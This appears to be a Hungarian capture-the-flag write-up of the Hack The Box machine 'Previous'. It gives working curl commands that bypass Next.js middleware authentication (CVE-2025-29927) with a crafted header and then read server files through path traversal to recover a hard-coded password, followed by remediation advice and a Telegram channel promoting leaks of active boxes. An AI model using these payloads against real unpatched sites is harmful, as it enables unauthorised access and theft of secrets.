Previous - Hack The Box
Platform: Linux
IP: 10.129.140.149
Difficulty: Medium
Author: NoSec
🚨 Kövesd élőben a HTB-t — leakek, tippek és mélyebb writeupok
👉 t.me/nosecpwn
Ne olvasgass. Csatlakozz.
/etc/hosts
szerkesztése
sudo sh -c 'echo "10.129.140.149 previous.htb" >> /etc/hosts'
Felderítés – Szolgáltatások feltérképezése
Nmap (gyors)
nmap -sCV -p- --min-rate 10000 previous.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 22:22 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 84.90% done; ETC: 22:22 (0:00:01 remaining)
Nmap scan report for previous.htb (10.129.140.149)
Host is up (0.029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.00 seconds
Lényeges portok: - 22/tcp SSH - 80/tcp HTTP (nginx → mögötte egy Next.js app)
A http://previous.htb
böngészésekor egy Next.js oldal jön be, a dokumentáció a /docs
alatt van, de a nem hitelesített kérések 302 → /api/auth/signin-re (NextAuth) mennek.
A támadási felület megtalálása
Statikus assetek böngészése közben feltűnik:
- Doksi oldalak /_next/static/chunks/pages/docs/...
alatt
- Egy letöltő helper link: /api/download?example=hello-world.ts
A közvetlen /docs
vagy /api/download
kérések bejelentkezésre irányítanak. Ez erősen arra utal, hogy middleware áll az útban ezeknél az útvonalaknál.
A gép sérülékeny a Next.js middleware al-kérés megkerülés – CVE-2025-29927 hibára.
Röviden: ha a kérés tartalmaz egy speciálisx-middleware-subrequest
fejlécet, a Next úgy kezeli, mintha belső al-kérés lenne, és a userland auth/preview middleware-t kihagyja.
Next.js middleware megkerülése (CVE-2025-29927)
Használjuk a speciális fejlécet:
H='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
A megkerülés ellenőrzése egy védett oldalon
curl -i -H "$H" http://previous.htb/docs | head
Most már 200 OK HTML érkezik a doksiból, nem pedig 302 a /api/auth/signin
felé.
A download API tesztelése
curl -i -H "$H" "http://previous.htb/api/download?example=hello-world.ts"
Visszaadja a TypeScript példafájlt — a hozzáférés működik.
A letöltő végpont LFI-vá alakítása
Az example
paramétert szerveroldalon path-joinolják. A middleware megkerülése után elérhetünk fájlokat az alkalmazás telepítési gyökere körül (relatív elérési utak).
Szerezzünk meg pár érdekes fájlt:
# App package.json (layout / router infó)
curl -s -H "$H" "http://previous.htb/api/download?example=../../../../../../app/package.json"
# Env fájl (itt: csak NEXTAUTH_SECRET)
curl -s -H "$H" "http://previous.htb/api/download?example=../../../../../../app/.env"
# Middleware manifest (matcher-ek & preview kulcsok)
curl -s -H "$H" "http://previous.htb/api/download?example=../../../../../../app/.next/server/middleware-manifest.json"
A lényeg: dumpoljuk a lefordított NextAuth útvonalat, hogy lássuk a hitelesítés működését:
curl -s -H "$H" "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js"
A fájlban megtaláljuk az authorize
logikát:
authorize: async (creds) =>
creds?.username === "jeremy" &&
creds.password === (process.env.ADMIN_SECRET ?? "<REDACTED>")
? { id: "1", name: "Jeremy" }
: null
Nincs ADMIN_SECRET
a .env
-ben → a kódba égetett tartalék jelszó aktív:
<REDACTED>
SSH jeremy-ként → user
Próbáljuk ki SSH-val a talált adatokat:
ssh jeremy@previous.htb
Bent vagyunk. Jöhet a user flag:
cat ~/user.txt
✅ User flag megvan!
Megjegyzések & javasolt javítások (blue-team barát)
- CVE-2025-29927 (Next.js): frissíts Next.js-re, amelyben a hiba javítva van; nginx-ben blokkolni/szűrni az
x-middleware-subrequest
fejlécet. - LFI a
/api/download
-ban: normalizálás és..
teljes tiltása, allowlist, vagy biztonságos statikus gyökér alól kiszolgálás (ne user által kontrollált path-join). - Secretek: soha ne legyen kódba égetett fallback jelszó. Használj rendes környezeti secreteket, és rotáld őket.
- Hitelesítő adatok újrafelhasználása: ne használd ugyanazt a jelszót az appban és SSH-n. SSH-hoz kulcs alapú auth a preferált.
🧠 A root privesc (Terraform provider cache trükk) szándékosan kimarad — most csak a user volt a cél.
A teljes út a box aktív időszakában a privát csoportban érhető el:
📡 t.me/nosecpwn